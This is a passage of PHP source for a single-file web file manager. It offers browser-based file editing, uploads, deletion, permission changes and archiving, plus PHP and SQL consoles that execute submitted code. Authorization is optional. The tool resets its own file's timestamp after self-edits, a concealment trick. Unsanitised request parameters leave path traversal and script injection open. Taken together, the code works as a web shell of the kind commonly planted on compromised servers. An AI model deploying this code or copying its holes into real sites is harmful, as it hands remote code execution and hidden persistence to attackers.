F5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_POST['search_recursive'])) {
		ini_set('max_execution_time', '0');
		$search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
		if(!empty($search_data)) {
			$msg .= __('Found in files').' ('.count($search_data).'):<br>';
			foreach ($search_data as $filename) {
				$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';
			}
		} else {
			$msg .= __('Nothing founded');
		}	
	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
